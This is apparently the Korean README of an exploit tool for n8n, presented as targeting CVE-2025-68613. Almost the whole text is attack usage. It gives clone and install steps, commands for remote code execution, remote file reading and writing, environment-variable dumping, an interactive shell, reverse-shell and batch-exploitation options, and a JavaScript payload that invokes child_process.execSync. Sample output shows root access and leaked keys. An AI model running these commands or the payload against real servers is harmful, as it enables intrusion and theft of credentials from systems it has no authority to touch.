# Python 3.8 이상
python3 --version

# pip 패키지 관리자
pip3 --version

# 저장소 복제
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

# 필요한 패키지 설치
pip3 install -r requirements.txt

requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6

# 도움말 메뉴 표시
python3 n8n-godmode-ultimate.py -h

# n8n 버전 탐지 (비침습적)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect

# 안전한 취약점 확인
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password

# RCE 개념 증명
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password

# 전체 익스플로잇
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password

# 단일 명령 실행
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --cmd "whoami"

# 원격 파일 읽기
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --read-file "/etc/passwd"

# 원격 파일 쓰기
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"

# 환경 변수 추출
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --dump-env

# 대화형 셸
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --shell

# 파일에서 여러 대상 스캔
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20

# 배치 익스플로잇
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10

http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org

n8n> whoami              # 명령 실행
n8n> read /etc/passwd    # 파일 읽기
n8n> env                 # 환경 변수 표시
n8n> info                # 시스템 정보
n8n> history             # 명령 기록
n8n> exit                # 셸 종료

-u, --url URL             대상 n8n URL
-l, --list FILE           대상 URL이 포함된 파일
-t, --threads NUM         배치 스캔 스레드 수 (기본값: 10)

-e, --email EMAIL         n8n 사용자 이메일
-p, --password PASS       n8n 사용자 비밀번호

--detect                  버전 탐지만 수행 (가장 빠름)
--safe                    익스플로잇 없이 안전한 확인
--poc                     RCE 개념 증명
--exploit                 전체 익스플로잇 모드

--god                     God 모드 활성화
--cmd COMMAND             단일 명령 실행
--read-file PATH          원격 파일 읽기
--write-file PATH         원격 파일 쓰기
--content DATA            쓰기 작업에 사용할 내용
--dump-env                모든 환경 변수 추출
--shell                   대화형 셸 모드
--revshell HOST:PORT      리버스 셸 페이로드

--mode MODE               익스플로잇 모드: schedule|webhook|code|expression (기본값: schedule)
--timeout SEC             명령 타임아웃 (초) (기본값: 30)
--cleanup                 실행 후 워크플로 삭제
-k, --insecure           SSL 확인 비활성화
-v, --verbose            상세 출력
-q, --quiet              최소 출력

Payload: {{(function(){
  return this.process.mainModule.require('child_process')
    .execSync('whoami').toString()
})()}}

<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />

[*] n8n God Mode Ultimate v1.0.0
[*] 대상: https://target.example.com
[✓] n8n 버전: 1.36.1
[!] 상태: 취약 (< 1.120.4)

[*] 인증 성공
[*] 익스플로잇 워크플로 생성 중...
[*] 워크플로 ID: hd6LxSY765WBThqd
[*] 명령 실행: whoami
[✓] 명령 실행 성공!
[+] 출력: root

n8n> whoami
[+] root

n8n> read /etc/hostname
[+] n8n-production-server

n8n> env
[+] 환경 변수:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...

MIT License

Copyright (c) 2025 Satyam Rastogi

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.